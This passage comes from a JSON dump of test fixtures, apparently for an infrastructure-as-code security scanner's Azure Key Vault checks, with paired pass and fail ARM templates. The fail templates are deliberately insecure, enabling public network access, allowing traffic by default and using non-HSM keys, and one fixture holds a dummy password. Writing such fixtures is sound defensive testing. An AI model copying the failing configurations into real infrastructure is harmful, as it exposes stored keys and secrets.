\"type\": \"Microsoft.KeyVault/vaults/keys\",\n      \"apiVersion\": \"2021-11-01-preview\",\n      \"name\": \"fail\",\n      \"properties\": {\n        \"kty\": \"RSA\",\n        \"keyOps\": \"[parameters('keyOps')]\",\n        \"keySize\": \"[parameters('keySize')]\",\n        \"curveName\": \"[parameters('curveName')]\"\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.KeyVault/vaults', parameters('vaultName'))]\"\n      ]\n    }\n  ],\n  \"outputs\": {\n    \"proxyKey\": {\n      \"type\": \"object\",\n      \"value\": \"[reference(resourceId('Microsoft.KeyVault/vaults/keys', parameters('vaultName'), parameters('keyName')))]\"\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_KeyBackedByHSM/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"vaultName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The name of the key vault to be created.\"\n      }\n    },\n    \"keyName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The name of the key to be created.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"The location of the resources\"\n      }\n    },\n    \"skuName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"standard\",\n      \"allowedValues\": [\n        \"standard\",\n        \"premium\"\n      ],\n      \"metadata\": {\n        \"description\": \"The SKU of the vault to be created.\"\n      }\n    },\n    \"keyType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"RSA\",\n      \"allowedValues\": [\n        \"EC\",\n        \"EC-HSM\",\n        \"RSA\",\n        \"RSA-HSM\"\n      ],\n      \"metadata\": {\n        \"description\": \"The JsonWebKeyType of the key to be created.\"\n      }\n    },\n    \"keyOps\": {\n      \"type\": \"array\",\n      \"defaultValue\": [],\n      \"metadata\": {\n        \"description\": \"The permitted JSON web key operations of the key to be created.\"\n      }\n    },\n    \"keySize\": {\n      \"type\": \"int\",\n      \"defaultValue\": 2048,\n      \"metadata\": {\n        \"description\": \"The size in bits of the key to be created.\"\n      }\n    },\n    \"curveName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"\",\n      \"allowedValues\": [\n        \"\",\n        \"P-256\",\n        \"P-256K\",\n        \"P-384\",\n        \"P-521\"\n      ],\n      \"metadata\": {\n        \"description\": \"The JsonWebKeyCurveName of the key to be created.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.KeyVault/vaults\",\n      \"apiVersion\": \"2021-11-01-preview\",\n      \"name\": \"[parameters('vaultName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"accessPolicies\": [],\n        \"enableRbacAuthorization\": true,\n        \"enableSoftDelete\": true,\n        \"softDeleteRetentionInDays\": \"90\",\n        \"enabledForDeployment\": false,\n        \"enabledForDiskEncryption\": false,\n        \"enabledForTemplateDeployment\": false,\n        \"tenantId\": \"[subscription().tenantId]\",\n        \"sku\": {\n          \"name\": \"[parameters('skuName')]\",\n          \"family\": \"A\"\n        },\n        \"networkAcls\": {\n          \"defaultAction\": \"Allow\",\n          \"bypass\": \"AzureServices\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.KeyVault/vaults/keys\",\n      \"apiVersion\": \"2021-11-01-preview\",\n      \"name\": \"pass\",\n      \"properties\": {\n        \"kty\": \"RSA-HSM\",\n        \"keyOps\": \"[parameters('keyOps')]\",\n        \"keySize\": \"[parameters('keySize')]\",\n        \"curveName\": \"[parameters('curveName')]\"\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.KeyVault/vaults', parameters('vaultName'))]\"\n      ]\n    }\n  ],\n  \"outputs\": {\n    \"proxyKey\": {\n      \"type\": \"object\",\n      \"value\": \"[reference(resourceId('Microsoft.KeyVault/vaults/keys', parameters('vaultName'), parameters('keyName')))]\"\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_KeyExpirationDate/fail.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"vaultName\": {\n            \"type\": \"string\",\n            \"metadata\": {\n                \"description\": \"Specifies the name of the KeyVault, this vault must already exist.\"\n            }\n        },\n        \"keyName\": {\n            \"type\": \"string\",\n            \"metadata\": {\n                \"description\": \"Specifies the name of the key to be created.\"\n            }\n        },\n        \"crv\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"\",\n            \"allowedValues\": [\n                \"\",\n                \"P-256\",\n                \"P-256K\",\n                \"P-384\",\n                \"P-521\"\n            ],\n            \"metadata\": {\n                \"description\": \"Elliptic curve name.\"\n            }\n        },\n        \"exp\" : {\n            \"type\": \"int\",\n            \"defaultValue\": \"[dateTimeToEpoch(dateTimeAdd(utcNow(), 'P1Y'))]\",\n            \"metadata\": {\n                \"description\": \"Expiry date in seconds since 1970-01-01T00:00:00Z.  Defaults to 1 year from today.\"\n            }\n        },\n        \"key_ops\": {\n            \"type\": \"array\",\n            \"defaultValue\": [],\n            \"metadata\": {\n                \"description\": \"JSON web key operations. Operations include: 'encrypt', 'decrypt', 'sign', 'verify', 'wrapKey', 'unwrapKey'\"\n            }\n        },\n        \"key_size\": {\n            \"type\": \"int\",\n            \"defaultValue\": 4096,\n            \"metadata\": {\n                \"description\": \"The key size in bits. For example: 2048, 3072, or 4096 for RSA.\"\n            }\n        },\n        \"kty\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"RSA\",\n            \"allowedValues\": [\n                \"EC\",\n                \"EC-HSM\",\n                \"RSA\",\n                \"RSA-HSM\"\n            ],\n            \"metadata\": {\n                \"description\": \"The type of key to create\"\n            }\n        },\n        \"tags\": {\n            \"type\": \"object\",\n            \"defaultValue\": {},\n            \"metadata\": {\n                \"description\": \"Tags to be assigned to the Key.\"\n            }\n        }\n    },\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.KeyVault/vaults/keys\",\n            \"apiVersion\": \"2021-10-01\",\n            \"name\": \"fail\",\n            \"tags\": \"[parameters('tags')]\",\n            \"properties\": {\n                \"attributes\": {\n                    \"exp\": \"[parameters('exp')]\"\n                },\n                \"crv\": \"[parameters('crv')]\",\n                \"kty\": \"[parameters('kty')]\",\n                \"key_ops\": \"[parameters('key_ops')]\",\n                \"key_size\": \"[parameters('key_size')]\"\n            }\n        }\n    ],\n    \"outputs\": {\n        \"key\": {\n            \"type\": \"object\",\n            \"value\": \"[reference(resourceId('Microsoft.KeyVault/vaults/keys', parameters('vaultName'), parameters('keyName')), '2021-10-01', 'Full')]\"\n        }\n    }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_KeyExpirationDate/pass.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"vaultName\": {\n            \"type\": \"string\",\n            \"metadata\": {\n                \"description\": \"Specifies the name of the KeyVault, this vault must already exist.\"\n            }\n        },\n        \"keyName\": {\n            \"type\": \"string\",\n            \"metadata\": {\n                \"description\": \"Specifies the name of the key to be created.\"\n            }\n        },\n        \"crv\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"\",\n            \"allowedValues\": [\n                \"\",\n                \"P-256\",\n                \"P-256K\",\n                \"P-384\",\n                \"P-521\"\n            ],\n            \"metadata\": {\n                \"description\": \"Elliptic curve name.\"\n            }\n        },\n        \"exp\" : {\n            \"type\": \"int\",\n            \"defaultValue\": \"[dateTimeToEpoch(dateTimeAdd(utcNow(), 'P1Y'))]\",\n            \"metadata\": {\n                \"description\": \"Expiry date in seconds since 1970-01-01T00:00:00Z.  Defaults to 1 year from today.\"\n            }\n        },\n        \"key_ops\": {\n            \"type\": \"array\",\n            \"defaultValue\": [],\n            \"metadata\": {\n                \"description\": \"JSON web key operations. Operations include: 'encrypt', 'decrypt', 'sign', 'verify', 'wrapKey', 'unwrapKey'\"\n            }\n        },\n        \"key_size\": {\n            \"type\": \"int\",\n            \"defaultValue\": 4096,\n            \"metadata\": {\n                \"description\": \"The key size in bits. For example: 2048, 3072, or 4096 for RSA.\"\n            }\n        },\n        \"kty\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"RSA\",\n            \"allowedValues\": [\n                \"EC\",\n                \"EC-HSM\",\n                \"RSA\",\n                \"RSA-HSM\"\n            ],\n            \"metadata\": {\n                \"description\": \"The type of key to create\"\n            }\n        },\n        \"tags\": {\n            \"type\": \"object\",\n            \"defaultValue\": {},\n            \"metadata\": {\n                \"description\": \"Tags to be assigned to the Key.\"\n            }\n        }\n    },\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.KeyVault/vaults/keys\",\n            \"apiVersion\": \"2021-10-01\",\n            \"name\": \"pass\",\n            \"tags\": \"[parameters('tags')]\",\n            \"properties\": {\n                \"attributes\": {\n                    \"exp\": \"[parameters('exp')]\"\n                },\n                \"crv\": \"[parameters('crv')]\",\n                \"kty\": \"[parameters('kty')]\",\n                \"key_ops\": \"[parameters('key_ops')]\",\n                \"key_size\": \"[parameters('key_size')]\",\n                \"rotationPolicy\": {\n                    \"attributes\": {\n                        \"expiryTime\": \"somevalue\"\n                    }\n                },\n                \"password\": \"asdasasd\",\n                \"acceptMarketingEmails\": false,\n                \"email\": \"jim.wolf@duck.com\"\n            },\n            \"plan\": {\n                \"name\": \"jim\",\n                \"publisher\": \"redwolf\",\n                \"product\": \"pike\"\n            }\n        }\n    ],\n    \"outputs\": {\n        \"key\": {\n            \"type\": \"object\",\n            \"value\": \"[reference(resourceId('Microsoft.KeyVault/vaults/keys', parameters('vaultName'), parameters('keyName')), '2021-10-01', 'Full')]\"\n        }\n    }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_KeyVaultDisablesPublicNetworkAccess/fail1.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.KeyVault/vaults\",\n      \"apiVersion\": \"2019-09-01\",\n      \"name\": \"fail1\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"enabledForDiskEncryption\": true,\n        \"tenantId\": \"[subscription().tenantId]\",\n        \"softDeleteRetentionInDays\": 90,\n        \"purgeProtectionEnabled\": true,\n        \"sku\": {\n          \"family\": \"A\",\n          \"name\": \"standard\"\n        },\n        \"publicNetworkAccess\": \"Enabled\",\n        \"accessPolicies\": [\n          {\n            \"tenantId\": \"[subscription().tenantId]\",\n            \"objectId\": \"[parameters('objectId')]\",\n            \"permissions\": {\n              \"keys\": [\"get\"],\n              \"secrets\": [\"get\"],\n              \"storage\": [\"get\"]\n            }\n          }\n        ]\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_KeyVaultDisablesPublicNetworkAccess/fail2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.KeyVault/vaults\",\n      \"apiVersion\": \"2019-09-01\",\n      \"name\": \"fail2\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"enabledForDiskEncryption\": true,\n        \"tenantId\": \"[subscription().tenantId]\",\n        \"softDeleteRetentionInDays\": 90,\n        \"purgeProtectionEnabled\": true,\n        \"sku\": {\n          \"family\": \"A\",\n          \"name\": \"standard\"\n        },\n        \"accessPolicies\": [\n          {\n            \"tenantId\": \"[subscription().tenantId]\",\n            \"objectId\": \"[parameters('objectId')]\",\n            \"permissions\": {\n              \"keys\": [\"get\"],\n              \"secrets\": [\"get\"],\n              \"storage\": [\"get\"]\n            }\n          }\n        ]\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_KeyVaultDisablesPublicNetworkAccess/fail3.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.KeyVault/vaults\",\n      \"apiVersion\": \"2019-09-01\",\n      \"name\": \"fail3\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"enabledForDiskEncryption\": true,\n        \"tenantId\": \"[subscription().tenantId]\",\n        \"softDeleteRetentionInDays\": 90,\n        \"purgeProtectionEnabled\": true,\n        \"sku\": {\n          \"family\": \"A\",\n          \"name\": \"standard\"\n        },\n        \"networkAcls\": {\n          \"defaultAction\" : \"Allow\",\n          \"bypass\" : \"AzureServices\",\n          \"ipRules\" : []\n        },\n        \"accessPolicies\": [\n          {\n            \"tenantId\": \"[subscription().tenantId]\",\n            \"objectId\": \"[parameters('objectId')]\",\n            \"permissions\": {\n              \"keys\": [\"get\"],\n              \"secrets\": [\"get\"],\n              \"storage\": [\"get\"]\n            }\n          }\n        ]\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_KeyVaultDisablesPublicNetworkAccess/fail4.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.KeyVault/vaults\",\n      \"apiVersion\": \"2019-09-01\",\n      \"name\": \"fail4\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"enabledForDiskEncryption\": true,\n        \"tenantId\": \"[subscription().tenantId]\",\n        \"softDeleteRetentionInDays\": 90,\n        \"purgeProtectionEnabled\": true,\n        \"sku\": {\n          \"family\": \"A\",\n          \"name\": \"standard\"\n        },\n        \"networkAcls\": {\n          \"defaultAction\" : \"Allow\",\n          \"bypass\" : \"AzureServices\"\n        },\n        \"accessPolicies\": [\n          {\n            \"tenantId\": \"[subscription().tenantId]\",\n            \"objectId\": \"[parameters('objectId')]\",\n            \"permissions\": {\n              \"keys\": [\"get\"],\n              \"secrets\": [\"get\"],\n              \"storage\": [\"get\"]\n            }\n          }\n        ]\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_KeyVaultDisablesPublicNetworkAccess/fail5.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.KeyVault/vaults\",\n      \"apiVersion\": \"2019-09-01\",\n      \"name\": \"fail5\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"enabledForDiskEncryption\": true,\n        \"tenantId\": \"[subscription().tenantId]\",\n        \"softDeleteRetentionInDays\": 90,\n        \"purgeProtectionEnabled\": true,\n        \"sku\": {\n          \"family\": \"A\",\n          \"name\": \"standard\"\n        },\n        \"networkAcls\": {\n          \"defaultAction\": \"Allow\",\n          \"bypass\": \"AzureServices\",\n          \"ipRules\": [],\n          \"virtualNetworkRules\": [\n            {\n              \"id\": \"[if(parameters('naclsEnabled'),concat(subscription().id, '/resourceGroups/', parameters('resourceGroupName'), '/providers/Microsoft.Network/virtualNetworks/<yourVirtualNetworkName>/subnets/<yourSubnetName>'),json('null'))]\"\n            }\n          ]\n        }\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_KeyVaultDisablesPublicNetworkAccess/pass1.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.KeyVault/vaults\",\n      \"apiVersion\": \"2019-09-01\",\n      \"name\": \"pass1\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"enabledForDiskEncryption\": true,\n        \"tenantId\": \"[subscription().tenantId]\",\n        \"softDeleteRetentionInDays\": 90,\n        \"purgeProtectionEnabled\": true,\n        \"sku\": {\n          \"family\": \"A\",\n          \"name\": \"standard\"\n        },\n        \"publicNetworkAccess\": \"Disabled\",\n        \"accessPolicies\": [\n          {\n            \"tenantId\": \"[subscription().tenantId]\",\n            \"objectId\": \"[parameters('objectId')]\",\n            \"permissions\": {\n              \"keys\": [\"get\"],\n              \"secrets\": [\"get\"],\n              \"storage\": [\"get\"]\n            }\n          }\n        ]\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_KeyVaultDisablesPublicNetworkAccess/pass2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.KeyVault/vaults\",\n      \"apiVersion\": \"2019-09-01\",\n      \"name\": \"pass2\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"enabledForDiskEncryption\": true,\n        \"tenantId\": \"[subscription().tenantId]\",\n        \"softDeleteRetentionInDays\": 90,\n        \"purgeProtectionEnabled\": true,\n        \"sku\": {\n          \"family\": \"A\",\n          \"name\": \"standard\"\n        },\n        \"networkAcls\" : {\n          \"defaultAction\" : \"Allow\",\n          \"bypass\" : \"AzureServices\"\n        },\n        \"publicNetworkAccess\": \"disabled\",\n        \"accessPolicies\": [\n          {\n            \"tenantId\": \"[subscription().tenantId]\",\n            \"objectId\": \"[parameters('objectId')]\",\n            \"permissions\": {\n              \"keys\": [\"get\"],\n              \"secrets\": [\"get\"],\n              \"storage\": [\"get\"]\n            }\n          }\n        ]\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_KeyVaultDisablesPublicNetworkAccess/pass3.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.KeyVault/vaults\",\n      \"apiVersion\": \"2019-09-01\",\n      \"name\": \"pass3\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"enabledForDiskEncryption\": true,\n        \"tenantId\": \"[subscription().tenantId]\",\n        \"softDeleteRetentionInDays\": 90,\n        \"purgeProtectionEnabled\": true,\n        \"sku\": {\n          \"family\": \"A\",\n          \"name\": \"standard\"\n        },\n        \"networkAcls\": {\n          \"defaultAction\": \"Allow\",\n          \"bypass\": \"AzureServices\",\n          \"ipRules\": [\"127.0.0.1\"]\n        },\n        \"publicNetworkAccess\": \"Enabled\",\n        \"accessPolicies\": [\n          {\n            \"tenantId\": \"[subscription().tenantId]\",\n            \"objectId\": \"[parameters('objectId')]\",\n            \"permissions\": {\n              \"keys\": [\"get\"],\n              \"secrets\": [\"get\"],\n              \"storage\": [\"get\"]\n            }\n          }\n        ]\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_KeyVaultDisablesPublicNetworkAccess/pass4.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.KeyVault/vaults\",\n      \"apiVersion\": \"2019-09-01\",\n      \"name\": \"pass4\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"enabledForDiskEncryption\": true,\n        \"tenantId\": \"[subscription().tenantId]\",\n        \"softDeleteRetentionInDays\": 90,\n        \"purgeProtectionEnabled\": true,\n        \"sku\": {\n          \"family\": \"A\",\n          \"name\": \"standard\"\n        },\n        \"networkAcls\": {\n          \"defaultAction\": \"Allow\",\n          \"bypass\": \"AzureServices\",\n          \"ipRules\": [\"127.0.0.1\"]\n        },\n        \"accessPolicies\": [\n          {\n            \"tenantId\": \"[subscription().tenantId]\",\n            \"objectId\": \"[parameters('objectId')]\",\n            \"permissions\": {\n              \"keys\": [\"get\"],\n              \"secrets\": [\"get\"],\n              \"storage\": [\"get\"]\n            }\n          }\n        ]\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_KeyVaultEnablesFirewallRulesSettings/KeyVaultEnablesFirewallRulesSettings-FAILED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"keyVaultName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Specifies the name of the key vault.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Specifies the Azure location where the key vault should be created.\"\n      }\n    },\n    \"enabledForDeployment\": {\n      \"type\": \"bool\",\n      \"defaultValue\": false,\n      \"allowedValues\": [\n        true,\n        false\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies whether Azure Virtual Machines are permitted to retrieve certificates stored as secrets from the key vault.\"\n      }\n    },\n    \"enabledForDiskEncryption\": {\n      \"type\": \"bool\",\n      \"defaultValue\": false,\n      \"allowedValues\": [\n        true,\n        false\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies whether Azure Disk Encryption is permitted to retrieve secrets from the vault and unwrap keys.\"\n      }\n    },\n    \"enabledForTemplateDeployment\": {\n      \"type\": \"bool\",\n      \"defaultValue\": false,\n      \"allowedValues\": [\n        true,\n        false\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies whether Azure Resource Manager is permitted to retrieve secrets from the key vault.\"\n      }\n    },\n    \"tenantId\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[subscription().tenantId]\",\n      \"metadata\": {\n        \"description\": \"Specifies the Azure Active Directory tenant ID that should be used for authenticating requests to the key vault. Get it by using Get-AzSubscription cmdlet.\"\n      }\n    },\n    \"objectId\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Specifies the object ID of a user, service principal or security group in the Azure Active Directory tenant for the vault. The object ID must be unique for the list of access policies. Get it by using Get-AzADUser or Get-AzADServicePrincipal cmdlets.\"\n      }\n    },\n    \"keysPermissions\": {\n      \"type\": \"array\",\n      \"defaultValue\": [\n        \"list\"\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies the permissions to keys in the vault. Valid values are: all, encrypt, decrypt, wrapKey, unwrapKey, sign, verify, get, list, create, update, import, delete, backup, restore, recover, and purge.\"\n      }\n    },\n    \"secretsPermissions\": {\n      \"type\": \"array\",\n      \"defaultValue\": [\n        \"list\"\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies the permissions to secrets in the vault. Valid values are: all, get, list, set, delete, backup, restore, recover, and purge.\"\n      }\n    },\n    \"skuName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard\",\n      \"allowedValues\": [\n        \"Standard\",\n        \"Premium\"\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies whether the key vault is a standard vault or a premium vault.\"\n      }\n    },\n    \"secretName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Specifies the name of the secret that you want to create.\"\n      }\n    },\n    \"secretValue\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"Specifies the value of the secret that you want to create.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.KeyVault/vaults\",\n      \"name\": \"fail\",\n      \"apiVersion\": \"2018-02-14\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"enabledForDeployment\": \"[parameters('enabledForDeployment')]\",\n        \"enabledForDiskEncryption\": \"[parameters('enabledForDiskEncryption')]\",\n        \"enabledForTemplateDeployment\": \"[parameters('enabledForTemplateDeployment')]\",\n        \"tenantId\": \"[parameters('tenantId')]\",\n        \"accessPolicies\": [\n          {\n            \"objectId\": \"[parameters('objectId')]\",\n            \"tenantId\": \"[parameters('tenantId')]\",\n            \"permissions\": {\n              \"keys\": \"[parameters('keysPermissions')]\",\n              \"secrets\": \"[parameters('secretsPermissions')]\"\n            }\n          }\n        ],\n        \"sku\": {\n          \"name\": \"[parameters('skuName')]\",\n          \"family\": \"A\"\n        },\n        \"networkAcls\": {\n          \"defaultAction\": \"Allow\",\n          \"bypass\": \"AzureServices\"\n        },\n        \"enableSoftDelete\": \"true\",\n        \"softDeleteRetentionInDays\": \"30\",\n        \"enablePurgeProtection\": \"true\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.KeyVault/vaults/secrets\",\n      \"name\": \"[concat(parameters('keyVaultName'), '/', parameters('secretName'))]\",\n      \"apiVersion\": \"2018-02-14\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.KeyVault/vaults', parameters('keyVaultName'))]\"\n      ],\n      \"properties\": {\n        \"value\": \"[parameters('secretValue')]\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_KeyVaultEnablesFirewallRulesSettings/KeyVaultEnablesFirewallRulesSettings-PASSED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"keyVaultName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Specifies the name of the key vault.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Specifies the Azure location where the key vault should be created.\"\n      }\n    },\n    \"enabledForDeployment\": {\n      \"type\": \"bool\",\n      \"defaultValue\": false,\n      \"allowedValues\": [\n        true,\n        false\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies whether Azure Virtual Machines are permitted to retrieve certificates stored as secrets from the key vault.\"\n      }\n    },\n    \"enabledForDiskEncryption\": {\n      \"type\": \"bool\",\n      \"defaultValue\": false,\n      \"allowedValues\": [\n        true,\n        false\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies whether Azure Disk Encryption is permitted to retrieve secrets from the vault and unwrap keys.\"\n      }\n    },\n    \"enabledForTemplateDeployment\": {\n      \"type\": \"bool\",\n      \"defaultValue\": false,\n      \"allowedValues\": [\n        true,\n        false\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies whether Azure Resource Manager is permitted to retrieve secrets from the key vault.\"\n      }\n    },\n    \"tenantId\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[subscription().tenantId]\",\n      \"metadata\": {\n        \"description\": \"Specifies the Azure Active Directory tenant ID that should be used for authenticating requests to the key vault. Get it by using Get-AzSubscription cmdlet.\"\n      }\n    },\n    \"objectId\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Specifies the object ID of a user, service principal or security group in the Azure Active Directory tenant for the vault. The object ID must be unique for the list of access policies. Get it by using Get-AzADUser or Get-AzADServicePrincipal cmdlets.\"\n      }\n    },\n    \"keysPermissions\": {\n      \"type\": \"array\",\n      \"defaultValue\": [\n        \"list\"\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies the permissions to keys in the vault. Valid values are: all, encrypt, decrypt, wrapKey, unwrapKey, sign, verify, get, list, create, update, import, delete, backup, restore, recover, and purge.\"\n      }\n    },\n    \"secretsPermissions\": {\n      \"type\": \"array\",\n      \"defaultValue\": [\n        \"list\"\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies the permissions to secrets in the vault. Valid values are: all, get, list, set, delete, backup, restore, recover, and purge.\"\n      }\n    },\n    \"skuName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard\",\n      \"allowedValues\": [\n        \"Standard\",\n        \"Premium\"\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies whether the key vault is a standard vault or a premium vault.\"\n      }\n    },\n    \"secretName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Specifies the name of the secret that you want to create.\"\n      }\n    },\n    \"secretValue\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"Specifies the value of the secret that you want to create.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.KeyVault/vaults\",\n      \"name\": \"pass\",\n      \"apiVersion\": \"2018-02-14\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"enabledForDeployment\": \"[parameters('enabledForDeployment')]\",\n        \"enabledForDiskEncryption\": \"[parameters('enabledForDiskEncryption')]\",\n        \"enabledForTemplateDeployment\": \"[parameters('enabledForTemplateDeployment')]\",\n        \"tenantId\": \"[parameters('tenantId')]\",\n        \"accessPolicies\": [\n          {\n            \"objectId\": \"[parameters('objectId')]\",\n            \"tenantId\": \"[parameters('tenantId')]\",\n            \"permissions\": {\n              \"keys\": \"[parameters('keysPermissions')]\",\n              \"secrets\": \"[parameters('secretsPermissions')]\"\n            }\n          }\n        ],\n        \"sku\": {\n          \"name\": \"[parameters('skuName')]\",\n          \"family\": \"A\"\n        },\n        \"networkAcls\": {\n          \"defaultAction\": \"Deny\",\n          \"bypass\": \"AzureServices\"\n        },\n        \"enableSoftDelete\": \"true\",\n        \"softDeleteRetentionInDays\": \"30\",\n        \"enablePurgeProtection\": \"true\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.KeyVault/vaults/secrets\",\n      \"name\": \"[concat(parameters('keyVaultName'), '/', parameters('secretName'))]\",\n      \"apiVersion\": \"2018-02-14\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        